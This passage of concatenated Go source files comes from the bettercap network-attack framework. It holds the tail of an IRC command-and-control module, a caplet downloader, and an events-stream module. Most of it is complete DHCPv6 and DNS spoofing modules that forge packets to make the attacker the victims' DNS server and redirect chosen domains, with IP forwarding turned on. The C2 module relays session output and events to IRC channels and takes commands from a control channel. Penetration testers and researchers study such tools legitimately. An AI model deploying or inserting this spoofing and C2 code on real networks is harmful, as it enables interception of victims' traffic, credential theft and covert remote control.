mod.client.Privmsgf(event.Nick, "error: %v", stripansi.Strip(err.Error())) } }) mod.client.AddCallback("001", func(e *irc.Event) { mod.Debug("got 101") mod.client.Join(mod.settings.controlChannel) mod.client.Join(mod.settings.outputChannel) mod.client.Join(mod.settings.eventsChannel) }) return mod.client.Connect(mod.settings.server) } func (mod *C2) onPrint(format string, args ...interface{}) { if !mod.Running() { return } msg := stripansi.Strip(str.Trim(fmt.Sprintf(format, args...))) for _, line := range strings.Split(msg, "\n") { mod.client.Privmsg(mod.settings.outputChannel, line) } } func (mod *C2) onEvent(e session.Event) { if mod.Session.EventsIgnoreList.Ignored(e) { return } // default channel or event specific channel? channel := mod.settings.eventsChannel if custom, found := mod.channels[e.Tag]; found { channel = custom } var out bytes.Buffer if tpl, found := mod.templates[e.Tag]; found { // use a custom template to render this event if err := tpl.Execute(&out, eventContext{ Session: mod.Session, Event: e, }); err != nil { fmt.Fprintf(&out, "%v", err) } } else { // use the default view to render this event mod.stream.Render(&out, e) } // make sure colors and in general bash escape sequences are removed msg := stripansi.Strip(str.Trim(string(out.Bytes()))) mod.client.Privmsg(channel, msg) } func (mod *C2) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.Info("started") for mod.Running() { var e session.Event select { case e = <-mod.eventBus: mod.onEvent(e) case <-mod.quit: mod.Debug("got quit") return } } }) } func (mod *C2) Stop() error { return mod.SetRunning(false, func() { mod.quit <- true mod.Session.Events.Unlisten(mod.eventBus) mod.client.Quit() mod.client.Disconnect() }) }
Go
bettercap/modules/caplets/caplets.go
package caplets import ( "fmt" "io" "net/http" "os" "github.com/bettercap/bettercap/caplets" "github.com/bettercap/bettercap/session" "github.com/dustin/go-humanize" "github.com/evilsocket/islazy/fs" "github.com/evilsocket/islazy/tui" "github.com/evilsocket/islazy/zip" ) type CapletsModule struct { session.SessionModule } func NewCapletsModule(s *session.Session) *CapletsModule { mod := &CapletsModule{ SessionModule: session.NewSessionModule("caplets", s), } mod.AddHandler(session.NewModuleHandler("caplets.show", "", "Show a list of installed caplets.", func(args []string) error { return mod.Show() })) mod.AddHandler(session.NewModuleHandler("caplets.paths", "", "Show a list caplet search paths.", func(args []string) error { return mod.Paths() })) mod.AddHandler(session.NewModuleHandler("caplets.update", "", "Install/updates the caplets.", func(args []string) error { return mod.Update() })) return mod } func (mod *CapletsModule) Name() string { return "caplets" } func (mod *CapletsModule) Description() string { return "A module to list and update caplets." } func (mod *CapletsModule) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *CapletsModule) Configure() error { return nil } func (mod *CapletsModule) Stop() error { return nil } func (mod *CapletsModule) Start() error { return nil } func (mod *CapletsModule) Show() error { caplets := caplets.List() if len(caplets) == 0 { return fmt.Errorf("no installed caplets on this system, use the caplets.update command to download them") } colNames := []string{ "Name", "Path", "Size", } rows := [][]string{} for _, caplet := range caplets { rows = append(rows, []string{ tui.Bold(caplet.Name), caplet.Path, tui.Dim(humanize.Bytes(uint64(caplet.Size))), }) } tui.Table(mod.Session.Events.Stdout, colNames, rows) return nil } func (mod *CapletsModule) Paths() error { colNames := []string{ "Path", } rows := [][]string{} for _, path := range caplets.LoadPaths { rows = append(rows, []string{path}) } tui.Table(mod.Session.Events.Stdout, colNames, rows) mod.Printf("(paths can be customized by defining the %s environment variable)\n", tui.Bold(caplets.EnvVarName)) return nil } func (mod *CapletsModule) Update() error { if !fs.Exists(caplets.InstallBase) { mod.Info("creating caplets install path %s ...", caplets.InstallBase) if err := os.MkdirAll(caplets.InstallBase, os.ModePerm); err != nil { return err } } out, err := os.Create(caplets.ArchivePath) if err != nil { return err } defer out.Close() mod.Info("downloading caplets from %s ...", caplets.InstallArchive) resp, err := http.Get(caplets.InstallArchive) if err != nil { return err } defer resp.Body.Close() if _, err := io.Copy(out, resp.Body); err != nil { return err } mod.Info("installing caplets to %s ...", caplets.InstallPath) if _, err = zip.Unzip(caplets.ArchivePath, caplets.InstallBase); err != nil { return err } os.RemoveAll(caplets.InstallPath) return os.Rename(caplets.InstallPathArchive, caplets.InstallPath) }
Go
bettercap/modules/dhcp6_spoof/dhcp6_spoof.go
package dhcp6_spoof import ( "bytes" "crypto/rand" "fmt" "net" "strings" "sync" "time" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/session" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" // TODO: refactor to use gopacket when gopacket folks // will fix this > https://github.com/google/gopacket/issues/334 "github.com/mdlayher/dhcp6" "github.com/mdlayher/dhcp6/dhcp6opts" "github.com/evilsocket/islazy/tui" ) type DHCP6Spoofer struct { session.SessionModule Handle *pcap.Handle DUID *dhcp6opts.DUIDLLT DUIDRaw []byte Domains []string RawDomains []byte waitGroup *sync.WaitGroup pktSourceChan chan gopacket.Packet } func NewDHCP6Spoofer(s *session.Session) *DHCP6Spoofer { mod := &DHCP6Spoofer{ SessionModule: session.NewSessionModule("dhcp6.spoof", s), Handle: nil, waitGroup: &sync.WaitGroup{}, } mod.SessionModule.Requires("net.recon") mod.AddParam(session.NewStringParameter("dhcp6.spoof.domains", "microsoft.com, google.com, facebook.com, apple.com, twitter.com", ``, "Comma separated values of domain names to spoof.")) mod.AddHandler(session.NewModuleHandler("dhcp6.spoof on", "", "Start the DHCPv6 spoofer in the background.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("dhcp6.spoof off", "", "Stop the DHCPv6 spoofer in the background.", func(args []string) error { return mod.Stop() })) return mod } func (mod DHCP6Spoofer) Name() string { return "dhcp6.spoof" } func (mod DHCP6Spoofer) Description() string { return "Replies to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server (https://github.com/fox-it/mitm6/)." } func (mod DHCP6Spoofer) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *DHCP6Spoofer) Configure() error { var err error if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } if mod.Handle, err = network.Capture(mod.Session.Interface.Name()); err != nil { return err } err = mod.Handle.SetBPFFilter("ip6 and udp") if err != nil { return err } if err, mod.Domains = mod.ListParam("dhcp6.spoof.domains"); err != nil { return err } mod.RawDomains = packets.DHCP6EncodeList(mod.Domains) if mod.DUID, err = dhcp6opts.NewDUIDLLT(1, time.Date(2000, time.January, 1, 0, 0, 0, 0, time.UTC), mod.Session.Interface.HW); err != nil { return err } else if mod.DUIDRaw, err = mod.DUID.MarshalBinary(); err != nil { return err } if !mod.Session.Firewall.IsForwardingEnabled() { mod.Info("Enabling forwarding.") mod.Session.Firewall.EnableForwarding(true) } return nil } func (mod *DHCP6Spoofer) dhcp6For(what dhcp6.MessageType, to dhcp6.Packet) (err error, p dhcp6.Packet) { err, p = packets.DHCP6For(what, to, mod.DUIDRaw) if err != nil { return } p.Options.AddRaw(packets.DHCP6OptDNSServers, mod.Session.Interface.IPv6) p.Options.AddRaw(packets.DHCP6OptDNSDomains, mod.RawDomains) return nil, p } func (mod *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, target net.HardwareAddr) { pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6) fqdn := target.String() if raw, found := solicit.Options[packets.DHCP6OptClientFQDN]; found && len(raw) >= 1 { fqdn = string(raw[0]) } mod.Info("Got DHCPv6 Solicit request from %s (%s), sending spoofed advertisement for %d domains.", tui.Bold(fqdn), target, len(mod.Domains)) err, adv := mod.dhcp6For(dhcp6.MessageTypeAdvertise, solicit) if err != nil { mod.Error("%s", err) return } var solIANA dhcp6opts.IANA if raw, found := solicit.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 { mod.Error("Unexpected DHCPv6 packet, could not find IANA.") return } else if err := solIANA.UnmarshalBinary(raw[0]); err != nil { mod.Error("Unexpected DHCPv6 packet, could not deserialize IANA.") return } var ip net.IP if h, found := mod.Session.Lan.Get(target.String()); found { ip = h.IP } else { mod.Warning("Address %s not known, using random identity association address.", target.String()) rand.Read(ip) } addr := fmt.Sprintf("%s%s", packets.IPv6Prefix, strings.Replace(ip.String(), ".", ":", -1)) iaaddr, err := dhcp6opts.NewIAAddr(net.ParseIP(addr), 300*time.Second, 300*time.Second, nil) if err != nil { mod.Error("Error creating IAAddr: %s", err) return } iaaddrRaw, err := iaaddr.MarshalBinary() if err != nil { mod.Error("Error serializing IAAddr: %s", err) return } opts := dhcp6.Options{dhcp6.OptionIAAddr: [][]byte{iaaddrRaw}} iana := dhcp6opts.NewIANA(solIANA.IAID, 200*time.Second, 250*time.Second, opts) ianaRaw, err := iana.MarshalBinary() if err != nil { mod.Error("Error serializing IANA: %s", err) return } adv.Options.AddRaw(dhcp6.OptionIANA, ianaRaw) rawAdv, err := adv.MarshalBinary() if err != nil { mod.Error("Error serializing advertisement packet: %s.", err) return } eth := layers.Ethernet{ SrcMAC: mod.Session.Interface.HW, DstMAC: target, EthernetType: layers.EthernetTypeIPv6, } ip6 := layers.IPv6{ Version: 6, NextHeader: layers.IPProtocolUDP, HopLimit: 64, SrcIP: mod.Session.Interface.IPv6, DstIP: pip6.SrcIP, } udp := layers.UDP{ SrcPort: 547, DstPort: 546, } udp.SetNetworkLayerForChecksum(&ip6) dhcp := packets.DHCPv6Layer{ Raw: rawAdv, } err, raw := packets.Serialize(&eth, &ip6, &udp, &dhcp) if err != nil { mod.Error("Error serializing packet: %s.", err) return } mod.Debug("Sending %d bytes of packet ...", len(raw)) if err := mod.Session.Queue.Send(raw); err != nil { mod.Error("Error sending packet: %s", err) } } func (mod *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.Packet, target net.HardwareAddr) { mod.Debug("Sending spoofed DHCPv6 reply to %s after its %s packet.", tui.Bold(target.String()), toType) err, reply := mod.dhcp6For(dhcp6.MessageTypeReply, req) if err != nil { mod.Error("%s", err) return } var reqIANA dhcp6opts.IANA if raw, found := req.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 { mod.Error("Unexpected DHCPv6 packet, could not find IANA.") return } else if err := reqIANA.UnmarshalBinary(raw[0]); err != nil { mod.Error("Unexpected DHCPv6 packet, could not deserialize IANA.") return } var reqIAddr []byte if raw, found := reqIANA.Options[dhcp6.OptionIAAddr]; found { reqIAddr = raw[0] } else { mod.Error("Unexpected DHCPv6 packet, could not deserialize request IANA IAAddr.") return } opts := dhcp6.Options{dhcp6.OptionIAAddr: [][]byte{reqIAddr}} iana := dhcp6opts.NewIANA(reqIANA.IAID, 200*time.Second, 250*time.Second, opts) ianaRaw, err := iana.MarshalBinary() if err != nil { mod.Error("Error serializing IANA: %s", err) return } reply.Options.AddRaw(dhcp6.OptionIANA, ianaRaw) rawAdv, err := reply.MarshalBinary() if err != nil { mod.Error("Error serializing advertisement packet: %s.", err) return } pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6) eth := layers.Ethernet{ SrcMAC: mod.Session.Interface.HW, DstMAC: target, EthernetType: layers.EthernetTypeIPv6, } ip6 := layers.IPv6{ Version: 6, NextHeader: layers.IPProtocolUDP, HopLimit: 64, SrcIP: mod.Session.Interface.IPv6, DstIP: pip6.SrcIP, } udp := layers.UDP{ SrcPort: 547, DstPort: 546, } udp.SetNetworkLayerForChecksum(&ip6) dhcp := packets.DHCPv6Layer{ Raw: rawAdv, } err, raw := packets.Serialize(&eth, &ip6, &udp, &dhcp) if err != nil { mod.Error("Error serializing packet: %s.", err) return } mod.Debug("Sending %d bytes of packet ...", len(raw)) if err := mod.Session.Queue.Send(raw); err != nil { mod.Error("Error sending packet: %s", err) } if toType == "request" { var addr net.IP if raw, found := reqIANA.Options[dhcp6.OptionIAAddr]; found { addr = net.IP(raw[0]) } if h, found := mod.Session.Lan.Get(target.String()); found { mod.Info("IPv6 address %s is now assigned to %s", addr.String(), h) } else { mod.Info("IPv6 address %s is now assigned to %s", addr.String(), target) } } else { mod.Debug("DHCPv6 renew sent to %s", target) } } func (mod *DHCP6Spoofer) duidMatches(dhcp dhcp6.Packet) bool { if raw, found := dhcp.Options[dhcp6.OptionServerID]; found && len(raw) >= 1 { if bytes.Equal(raw[0], mod.DUIDRaw) { return true } } return false } func (mod *DHCP6Spoofer) onPacket(pkt gopacket.Packet) { var dhcp dhcp6.Packet var err error udp := pkt.Layer(layers.LayerTypeUDP).(*layers.UDP) if udp == nil { return } // we just got a dhcp6 packet? if err = dhcp.UnmarshalBinary(udp.Payload); err == nil { eth := pkt.Layer(layers.LayerTypeEthernet).(*layers.Ethernet) switch dhcp.MessageType { case dhcp6.MessageTypeSolicit: mod.dhcpAdvertise(pkt, dhcp, eth.SrcMAC) case dhcp6.MessageTypeRequest: if mod.duidMatches(dhcp) { mod.dhcpReply("request", pkt, dhcp, eth.SrcMAC) } case dhcp6.MessageTypeRenew: if mod.duidMatches(dhcp) { mod.dhcpReply("renew", pkt, dhcp, eth.SrcMAC) } } } } func (mod *DHCP6Spoofer) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.waitGroup.Add(1) defer mod.waitGroup.Done() src := gopacket.NewPacketSource(mod.Handle, mod.Handle.LinkType()) mod.pktSourceChan = src.Packets() for packet := range mod.pktSourceChan { if !mod.Running() { break } mod.onPacket(packet) } }) } func (mod *DHCP6Spoofer) Stop() error { return mod.SetRunning(false, func() { mod.pktSourceChan <- nil mod.Handle.Close() mod.waitGroup.Wait() }) }
Go
bettercap/modules/dns_spoof/dns_spoof.go
package dns_spoof import ( "bytes" "fmt" "net" "strconv" "sync" "github.com/bettercap/bettercap/log" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/session" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" "github.com/evilsocket/islazy/tui" ) type DNSSpoofer struct { session.SessionModule Handle *pcap.Handle Hosts Hosts TTL uint32 All bool waitGroup *sync.WaitGroup pktSourceChan chan gopacket.Packet } func NewDNSSpoofer(s *session.Session) *DNSSpoofer { mod := &DNSSpoofer{ SessionModule: session.NewSessionModule("dns.spoof", s), Handle: nil, All: false, Hosts: Hosts{}, TTL: 1024, waitGroup: &sync.WaitGroup{}, } mod.SessionModule.Requires("net.recon") mod.AddParam(session.NewStringParameter("dns.spoof.hosts", "", "", "If not empty, this hosts file will be used to map domains to IP addresses.")) mod.AddParam(session.NewStringParameter("dns.spoof.domains", "", "", "Comma separated values of domain names to spoof.")) mod.AddParam(session.NewStringParameter("dns.spoof.address", session.ParamIfaceAddress, session.IPv4Validator, "IP address to map the domains to.")) mod.AddParam(session.NewBoolParameter("dns.spoof.all", "false", "If true the module will reply to every DNS request, otherwise it will only reply to the one targeting the local pc.")) mod.AddParam(session.NewStringParameter("dns.spoof.ttl", "1024", "^[0-9]+$", "TTL of spoofed DNS replies.")) mod.AddHandler(session.NewModuleHandler("dns.spoof on", "", "Start the DNS spoofer in the background.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("dns.spoof off", "", "Stop the DNS spoofer in the background.", func(args []string) error { return mod.Stop() })) return mod } func (mod DNSSpoofer) Name() string { return "dns.spoof" } func (mod DNSSpoofer) Description() string { return "Replies to DNS messages with spoofed responses." } func (mod DNSSpoofer) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *DNSSpoofer) Configure() error { var err error var ttl string var hostsFile string var domains []string var address net.IP if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if mod.Handle, err = network.Capture(mod.Session.Interface.Name()); err != nil { return err } else if err = mod.Handle.SetBPFFilter("udp"); err != nil { return err } else if err, mod.All = mod.BoolParam("dns.spoof.all"); err != nil { return err } else if err, address = mod.IPParam("dns.spoof.address"); err != nil { return err } else if err, domains = mod.ListParam("dns.spoof.domains"); err != nil { return err } else if err, hostsFile = mod.StringParam("dns.spoof.hosts"); err != nil { return err } else if err, ttl = mod.StringParam("dns.spoof.ttl"); err != nil { return err } mod.Hosts = Hosts{} for _, domain := range domains { mod.Hosts = append(mod.Hosts, NewHostEntry(domain, address)) } if hostsFile != "" { mod.Info("loading hosts from file %s ...", hostsFile) if err, hosts := HostsFromFile(hostsFile, address); err != nil { return fmt.Errorf("error reading hosts from file %s: %v", hostsFile, err) } else { mod.Hosts = append(mod.Hosts, hosts...) } } if len(mod.Hosts) == 0 { return fmt.Errorf("at least dns.spoof.hosts or dns.spoof.domains must be filled") } for _, entry := range mod.Hosts { mod.Info("%s -> %s", entry.Host, entry.Address) } if !mod.Session.Firewall.IsForwardingEnabled() { mod.Info("enabling forwarding.") mod.Session.Firewall.EnableForwarding(true) } _ttl, _ := strconv.Atoi(ttl) mod.TTL = uint32(_ttl) return nil } func DnsReply(s *session.Session, TTL uint32, pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) (string, string) { redir := fmt.Sprintf("(->%s)", address.String()) who := target.String() if t, found := s.Lan.Get(target.String()); found { who = t.String() } var err error var src, dst net.IP nlayer := pkt.NetworkLayer() if nlayer == nil { log.Debug("missing network layer skipping packet.") return "", "" } var eType layers.EthernetType var ipv6 bool if nlayer.LayerType() == layers.LayerTypeIPv4 { pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4) src = pip.DstIP dst = pip.SrcIP ipv6 = false eType = layers.EthernetTypeIPv4 } else { pip := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6) src = pip.DstIP dst = pip.SrcIP ipv6 = true eType = layers.EthernetTypeIPv6 } eth := layers.Ethernet{ SrcMAC: peth.DstMAC, DstMAC: target, EthernetType: eType, } answers := make([]layers.DNSResourceRecord, 0) for _, q := range req.Questions { // do not include types we can't handle and that are not needed // for successful spoofing anyway // ref: https://github.com/bettercap/bettercap/issues/843 if q.Type.String() == "Unknown" { continue } answers = append(answers, layers.DNSResourceRecord{ Name: []byte(q.Name), Type: q.Type, Class: q.Class, TTL: TTL, IP: address, }) } dns := layers.DNS{ ID: req.ID, QR: true, OpCode: layers.DNSOpCodeQuery, QDCount: req.QDCount, Questions: req.Questions, Answers: answers, } var raw []byte if ipv6 { ip6 := layers.IPv6{ Version: 6, NextHeader: layers.IPProtocolUDP, HopLimit: 64, SrcIP: src, DstIP: dst, } udp := layers.UDP{ SrcPort: pudp.DstPort, DstPort: pudp.SrcPort, } udp.SetNetworkLayerForChecksum(&ip6) err, raw = packets.Serialize(&eth, &ip6, &udp, &dns) if err != nil { log.Error("error serializing ipv6 packet: %s.", err) return "", "" } } else { ip4 := layers.IPv4{ Protocol: layers.IPProtocolUDP, Version: 4, TTL: 64, SrcIP: src, DstIP: dst, } udp := layers.UDP{ SrcPort: pudp.DstPort, DstPort: pudp.SrcPort, } udp.SetNetworkLayerForChecksum(&ip4) err, raw = packets.Serialize(&eth, &ip4, &udp, &dns) if err != nil { log.Error("error serializing ipv4 packet: %s.", err) return "", "" } } log.Debug("sending %d bytes of packet ...", len(raw)) if err := s.Queue.Send(raw); err != nil { log.Error("error sending packet: %s", err) return "", "" } return redir, who } func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) { typeEth := pkt.Layer(layers.LayerTypeEthernet) typeUDP := pkt.Layer(layers.LayerTypeUDP) if typeEth == nil || typeUDP == nil { return } eth := typeEth.(*layers.Ethernet) if mod.All || bytes.Equal(eth.DstMAC, mod.Session.Interface.HW) { dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS) if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 { udp := typeUDP.(*layers.UDP) for _, q := range dns.Questions { qName := string(q.Name) if address := mod.Hosts.Resolve(qName); address != nil { redir, who := DnsReply(mod.Session, mod.TTL, pkt, eth, udp, qName, address, dns, eth.SrcMAC) if redir != "" && who != "" { mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(qName), tui.Dim(redir), tui.Bold(who)) } break } else { mod.Debug("skipping domain %s", qName) } } } } } func (mod *DNSSpoofer) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.waitGroup.Add(1) defer mod.waitGroup.Done() src := gopacket.NewPacketSource(mod.Handle, mod.Handle.LinkType()) mod.pktSourceChan = src.Packets() for packet := range mod.pktSourceChan { if !mod.Running() { break } mod.onPacket(packet) } }) } func (mod *DNSSpoofer) Stop() error { return mod.SetRunning(false, func() { mod.pktSourceChan <- nil mod.Handle.Close() mod.waitGroup.Wait() }) }
Go
bettercap/modules/dns_spoof/dns_spoof_hosts.go
package dns_spoof import ( "bufio" "net" "os" "regexp" "strings" "github.com/gobwas/glob" "github.com/evilsocket/islazy/str" ) var hostsSplitter = regexp.MustCompile(`\s+`) type HostEntry struct { Host string Suffix string Expr glob.Glob Address net.IP } func (e HostEntry) Matches(host string) bool { lowerHost := strings.ToLower(host) return e.Host == lowerHost || strings.HasSuffix(lowerHost, e.Suffix) || (e.Expr != nil && e.Expr.Match(lowerHost)) } type Hosts []HostEntry func NewHostEntry(host string, address net.IP) HostEntry { entry := HostEntry{ Host: host, Address: address, } if host[0] == '.' { entry.Suffix = host } else { entry.Suffix = "." + host } if expr, err := glob.Compile(host); err == nil { entry.Expr = expr } return entry } func HostsFromFile(filename string, defaultAddress net.IP) (err error, entries []HostEntry) { input, err := os.Open(filename) if err != nil { return } defer input.Close() scanner := bufio.NewScanner(input) scanner.Split(bufio.ScanLines) for scanner.Scan() { line := str.Trim(scanner.Text()) if line == "" || line[0] == '#' { continue } if parts := hostsSplitter.Split(line, 2); len(parts) == 2 { address := net.ParseIP(parts[0]) domain := parts[1] entries = append(entries, NewHostEntry(domain, address)) } else { entries = append(entries, NewHostEntry(line, defaultAddress)) } } return } func (h Hosts) Resolve(host string) net.IP { for _, entry := range h { if entry.Matches(host) { return entry.Address } } return nil }
Go
bettercap/modules/events_stream/events_rotation.go
package events_stream import ( "fmt" "github.com/evilsocket/islazy/zip" "os" "time" ) func (mod *EventsStream) doRotation() { if mod.output == os.Stdout { return } else if !mod.rotation.Enabled { return } output, isFile := mod.output.(*os.File) if !isFile { return } mod.rotation.Lock() defer mod.rotation.Unlock() doRotate := false if info, err := output.Stat(); err == nil { if mod.rotation.How == "size" { doRotate = float64(info.Size()) >= float64(mod.rotation.Period*1024*1024) } else if mod.rotation.How == "time" { doRotate = info.ModTime().Unix()%int64(mod.rotation.Period) == 0 } } if doRotate { var err error name := fmt.Sprintf("%s-%s", mod.outputName, time.Now().Format(mod.rotation.Format)) if err := output.Close(); err != nil { mod.Printf("could not close log for rotation: %s\n", err) return } if err := os.Rename(mod.outputName, name); err != nil { mod.Printf("could not rename %s to %s: %s\n", mod.outputName, name, err) } else if mod.rotation.Compress { zipName := fmt.Sprintf("%s.zip", name) if err = zip.Files(zipName, []string{name}); err != nil { mod.Printf("error creating %s: %s", zipName, err) } else if err = os.Remove(name); err != nil { mod.Printf("error deleting %s: %s", name, err) } } mod.output, err = os.OpenFile(mod.outputName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { mod.Printf("could not open %s: %s", mod.outputName, err) } } }
Go
bettercap/modules/events_stream/events_stream.go
package events_stream import ( "fmt" "io" "os" "strconv" "sync" "time" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/fs" "github.com/evilsocket/islazy/str" "github.com/evilsocket/islazy/tui" ) type rotation struct { sync.Mutex Enabled bool Compress bool Format string How string Period float64 } type EventsStream struct { session.SessionModule timeFormat string outputName string output io.Writer rotation rotation triggerList *TriggerList waitFor string waitChan chan *session.Event eventListener <-chan session.Event quit chan bool dumpHttpReqs bool dumpHttpResp bool dumpFormatHex bool } func NewEventsStream(s *session.Session) *EventsStream { mod := &EventsStream{ SessionModule: session.NewSessionModule("events.stream", s), output: os.Stdout, timeFormat: "15:04:05", quit: make(chan bool), waitChan: make(chan *session.Event), waitFor: "", triggerList: NewTriggerList(), } mod.State.Store("ignoring", &mod.Session.EventsIgnoreList) mod.AddHandler(session.NewModuleHandler("events.stream on", "", "Start events stream.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("events.stream off", "", "Stop events stream.", func(args []string) error { return mod.Stop() })) mod.AddHandler(session.NewModuleHandler("events.show LIMIT?", "events.show(\\s\\d+)?", "Show events stream.", func(args []string) error { limit := -1 if len(args) == 1 { arg := str.Trim(args[0]) limit, _ = strconv.Atoi(arg) } return mod.Show(limit) })) on := session.NewModuleHandler("events.on TAG COMMANDS", `events\.on ([^\s]+) (.+)`, "Run COMMANDS when an event with the specified TAG is triggered.", func(args []string) error { return mod.addTrigger(args[0], args[1]) }) on.Complete("events.on", s.EventsCompleter) mod.AddHandler(on) mod.AddHandler(session.NewModuleHandler("events.triggers", "", "Show the list of event triggers created by the events.on command.", func(args []string) error { return mod.showTriggers() })) onClear := session.NewModuleHandler("events.trigger.delete TRIGGER_ID", `events\.trigger\.delete ([^\s]+)`, "Remove an event trigger given its TRIGGER_ID (use events.triggers to see the list of triggers).", func(args []string) error { return mod.clearTrigger(args[0]) }) onClear.Complete("events.trigger.delete", mod.triggerList.Completer) mod.AddHandler(onClear) mod.AddHandler(session.NewModuleHandler("events.triggers.clear", "", "Remove all event triggers (use events.triggers to see the list of triggers).", func(args []string) error { return mod.clearTrigger("") })) mod.AddHandler(session.NewModuleHandler("events.waitfor TAG TIMEOUT?", `events.waitfor ([^\s]+)([\s\d]*)`, "Wait for an event with the given tag either forever or for a timeout in seconds.", func(args []string) error { tag := args[0] timeout := 0 if len(args) == 2 { t := str.Trim(args[1]) if t != "" { n, err := strconv.Atoi(t) if err != nil { return err } timeout = n } } return mod.startWaitingFor(tag, timeout) })) ignore := session.NewModuleHandler("events.ignore FILTER", "events.ignore ([^\\s]+)", "Events with an identifier matching this filter will not be shown (use multiple times to add more filters).", func(args []string) error { return mod.Session.EventsIgnoreList.Add(args[0]) }) ignore.Complete("events.ignore", s.EventsCompleter) mod.AddHandler(ignore) include := session.NewModuleHandler("events.include FILTER", "events.include ([^\\s]+)", "Used to remove filters passed with the events.ignore command.", func(args []string) error { return mod.Session.EventsIgnoreList.Remove(args[0]) }) include.Complete("events.include", s.EventsCompleter) mod.AddHandler(include) mod.AddHandler(session.NewModuleHandler("events.filters", "", "Print the list of filters used to ignore events.", func(args []string) error { if mod.Session.EventsIgnoreList.Empty() { mod.Printf("Ignore filters list is empty.\n") } else { mod.Session.EventsIgnoreList.RLock() defer mod.Session.EventsIgnoreList.RUnlock() for _, filter := range mod.Session.EventsIgnoreList.Filters() { mod.Printf(" '%s'\n", string(filter)) } } return nil })) mod.AddHandler(session.NewModuleHandler("events.filters.clear", "", "Clear the list of filters passed with the events.ignore command.", func(args []string) error { mod.Session.EventsIgnoreList.Clear() return nil })) mod.AddHandler(session.NewModuleHandler("events.clear", "", "Clear events stream.", func(args []string) error { mod.Session.Events.Clear() return nil })) mod.AddParam(session.NewStringParameter("events.stream.output", "", "", "If not empty, events will be written to this file instead of the standard output.")) mod.AddParam(session.NewStringParameter("events.stream.time.format", mod.timeFormat, "", "Date and time format to use for events reporting.")) mod.AddParam(session.NewBoolParameter("events.stream.output.rotate", "true", "If true will enable log rotation.")) mod.AddParam(session.NewBoolParameter("events.stream.output.rotate.compress", "true", "If true will enable log rotation compression.")) mod.AddParam(session.NewStringParameter("events.stream.output.rotate.how", "size", "(size|time)", "Rotate by 'size' or 'time'.")) mod.AddParam(session.NewStringParameter("events.stream.output.rotate.format", "2006-01-02 15:04:05", "", "Datetime format to use for log rotation file names.")) mod.AddParam(session.NewDecimalParameter("events.stream.output.rotate.when", "10", "File size (in MB) or time duration (in seconds) for log rotation.")) mod.AddParam(session.NewBoolParameter("events.stream.http.request.dump", "false", "If true all HTTP requests will be dumped.")) mod.AddParam(session.NewBoolParameter("events.stream.http.response.dump", "false", "If true all HTTP responses will be dumped.")) mod.AddParam(session.NewBoolParameter("events.stream.http.format.hex", "true", "If true dumped HTTP bodies will be in hexadecimal format.")) return mod } func (mod *EventsStream) Name() string { return "events.stream" } func (mod *EventsStream) Description() string { return "Print events as a continuous stream." } func (mod *EventsStream) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *EventsStream) Configure() (err error) { var output string if err, output = mod.StringParam("events.stream.output"); err == nil { if output == "" { mod.output = os.Stdout } else if mod.outputName, err = fs.Expand(output); err == nil { mod.output, err = os.OpenFile(mod.outputName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { return err } } } if err, mod.rotation.Enabled = mod.BoolParam("events.stream.output.rotate"); err != nil { return err } else if err, mod.timeFormat = mod.StringParam("events.stream.time.format"); err != nil { return err } else if err, mod.rotation.Compress = mod.BoolParam("events.stream.output.rotate.compress"); err != nil { return err } else if err, mod.rotation.Format = mod.StringParam("events.stream.output.rotate.format"); err != nil { return err } else if err, mod.rotation.How = mod.StringParam("events.stream.output.rotate.how"); err != nil { return err } else if err, mod.rotation.Period = mod.DecParam("events.stream.output.rotate.when"); err != nil { return err } if err, mod.dumpHttpReqs = mod.BoolParam("events.stream.http.request.dump"); err != nil { return err } else if err, mod.dumpHttpResp = mod.BoolParam("events.stream.http.response.dump"); err != nil { return err } else if err, mod.dumpFormatHex = mod.BoolParam("events.stream.http.format.hex"); err != nil { return err } return err } func (mod *EventsStream) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.eventListener = mod.Session.Events.Listen() defer mod.Session.Events.Unlisten(mod.eventListener) for { var e session.Event select { case e = <-mod.eventListener: if e.Tag == mod.waitFor { mod.waitFor = "" mod.waitChan <- &e } if !mod.Session.EventsIgnoreList.Ignored(e) { mod.View(e, true) } // this could generate sys.log events and lock the whole // events.stream, make it async go mod.dispatchTriggers(e) case <-mod.quit: return } } }) } func (mod 